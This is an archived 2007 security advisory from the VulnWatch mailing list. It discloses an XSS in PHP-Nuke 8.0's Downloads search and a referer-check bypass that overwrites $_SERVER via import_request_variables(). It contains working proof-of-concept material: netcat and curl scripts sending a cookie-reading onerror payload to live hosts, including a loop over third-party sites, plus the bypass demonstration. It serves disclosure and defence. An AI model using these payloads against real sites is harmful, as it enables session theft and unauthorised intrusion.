[VulnWatch] Php Nuke POST XSS on steroids

From: ascii (ascii@private)
Date: Fri Mar 09 2007 - 08:30:29 PST


Php Nuke POST XSS on steroids

 Name              Php Nuke POST XSS on steroids
 Systems Affected  PHP >=4.0.7 <=5.2.1, GLOBALS OFF, Php Nuke 8.0 and
                   others (partially verified)
 Severity          Medium
 Vendor            http://php nuke.org/
 Advisory          http://www.ush.it/2007/03/09/php-nuke-wild-post-xss/
 Authors           Francesco `ascii` Ongaro (ascii@private)
                   Stefano `wisec` di Paola (stefano.dipaola@private)
 Date              20070307

I. BACKGROUND

Php Nuke is a CMS written in PHP. This advisory is just an example on
how to exploit an XSS on platforms that use anti CSRF techniques with
the import_request_variables() bypass.

II. DESCRIPTION

An XSS vulnerability exists in the handling of the query post variable
in the Search function of the Downloads module. This is exploitable in
special conditions; you need:

 - PHP >=4.0.7 <=5.2.1 to use the import_request_variables() trick
 - register_globals off (doesn't work with globals on)
 - Php Nuke 8 and others

III. ANALYSIS

Php Nuke 8.0 is vulnerable to an XSS on _POST, you can verify this using
the provided testsuite.

--- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash

cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.phpnuke.org/modules.php?name=Downloads
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

query=token<>token

TOKEN

cat REQ | nc www.phpnuke.org 80 -vvv

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

$ ./testcase | grep "token<>token"
DNS fwd/rev mismatch: www.phpnuke.org != ev1s-67-15-16-43.ev1servers.net
www.phpnuke.org [67.15.16.43] 80 (http) open
<form
action="modules.php?name=Downloads&amp;d_op=search&amp;query=token<>toke

Infact the injection is in the form action:

<form
action="modules.php?name=Downloads&amp;d_op=search&amp;query=token<>token"
method="post">

When you will try to apply CSRF to this bug (eg. you need a gateway page
to send the post query) you'll notice that Php Nuke has a generic piece
of code in mainfile.php that prevents posting with a "wrong" referrer.

Test this with the following two testsuites:

--- >8 --- >8 --- >8 --- >8 --- testsuit1.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash

cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.phpnuke.org/modules.php?name=Downloads
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

query="><img src=evil onerror=alert(document.cookie) />

TOKEN

cat REQ | nc www.phpnuke.org 80 -vvv

--- >8 --- >8 --- >8 --- >8 --- testsuit2.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash

cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.evil.com/
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

query="><img src=evil onerror=alert(document.cookie) />

TOKEN

cat REQ | nc www.phpnuke.org 80 -vvv

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

In the first case the attack will succeed cause the referrer matches, in
the second the anti-off-domain-post-check will block your attempt and
you'll get a message like: Posting from another server not allowed!

It seems that other versions have this check too.

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

for i in `cat urls.txt`; do
echo $i; curl -s "http://$1/modules.php?name=Downloads&d_op=search" \
-d 'query=asd&query="token<img src="wrong"
onerror=alert(document.cookie) /><"' \
-e "www.tin.it" -H "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1";
done; echo

http://XXXXopic.it/
Posting from another server not allowed!
http://XXXXnuke.org/
Posting from another server not allowed!
http://XXXXir.it/
Posting from another server not allowed!
http://XXXXesi.it/
Posting from another server not allowed!
http://XXXXoft.it/
Posting from another server not allowed!

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

The initial part of mainfile.php can be synthesized as following:

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

// get php version
$phpver = phpversion();

// convert superglobals if php is lower then 4.1.0
if ($phpver < '4.1.0') {
 [..cut..]
}

// override old superglobals if php is higher then 4.1.0
if($phpver >= '4.1.0') {
 [..cut..]
}

if (!ini_get('register_globals')) {
 @import_request_variables("GPC", "");
}

[..]

// Posting from other servers in not allowed
if ($_SERVER['REQUEST_METHOD'] == "POST") {
 if (isset($_SERVER['HTTP_REFERER'])) {
  if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST']))
   die('Posting from another server not allowed!');
 } else die($posttags);
}

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

So if globals are off using the import_request_variables() trick we can
overwrite the _SERVER array and bypass the check (yes, you can do a lot
of other things too, this is just an example).

Use this code to replicate the issue:

--- >8 --- >8 --- >8 --- >8 --- poc.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash
cat > testsuite.php << TOKEN
<?php
echo 'GLOBALS '.(int)ini_get("register_globals")."\\n";
if (!ini_get('register_globals')) import_request_variables('GPC');
// Posting from other servers in not allowed
if (\$_SERVER['REQUEST_METHOD'] == "POST") {
 if (isset(\$_SERVER['HTTP_REFERER'])) {
  if (!stripos(\$_SERVER['HTTP_REFERER'], \$_SERVER['HTTP_HOST']))
   die('Posting from another server not allowed!');
 } else die('No referer!');
}

echo 'IM THE PAGE!'."\n";

?>
TOKEN

--- >8 --- >8 --- >8 --- >8 --- ------ --- >8 --- >8 --- >8 --- >8

$ curl "http://XXXX/hack-phpnuke8/testsuite.php"
GLOBALS 0
IM THE PAGE!
$ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post"
GLOBALS 0
No referer!
$ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post" \
-e "www.tin.it"
GLOBALS 0
Posting from another server not allowed!
$ curl "http://ascii.asciinb.vlan.ush.it/hack-phpnuke8/testsuite.php" \
-d "ima=post&_SERVER=evil" -e "www.tin.it"
GLOBALS 0
IM THE PAGE!

Doesn't this seems cyclic to you? stripos will return TRUE if the
array element doesn't exists.

IV. DETECTION

Php Nuke 8.0 and others are affected, please test with the supplied
testsuites.

You can download Php Nuke from here : )

https://secure.bmtmicro.com/servlets/Orders.ShoppingCart?CID=4&PRODUCTID=19850011

V. WORKAROUND

Turn globals on.

VI. VENDOR RESPONSE

Will fix, probably.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20070307 Discovery
20070308 What do you expect here?
20070309 Full disclosure

IX. CREDIT

Francesco 'ascii' Ongaro is credited with the discovery of this
vulnerability.

X. LEGAL NOTICES

Copyright (c) 2007 Francesco 'ascii' Ongaro

Note: this exploit is DOUBLE LICENSED:

1. If you'll use it for personal and non-profit purposes you can
   apply GPL v2 and above.

2. In the case you plain to:
   a. use our code in any commercial context
   b. implement this code in your non-GPL application
   c. use this code during a Penetration Test
   d. make any profit from it
   you need to contact me in order to obtain a _commercial license_.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Regards,
Francesco `ascii` Ongaro
http://www.ush.it/



This archive was generated by hypermail 2.1.3 : Mon Mar 12 2007 - 12:36:23 PST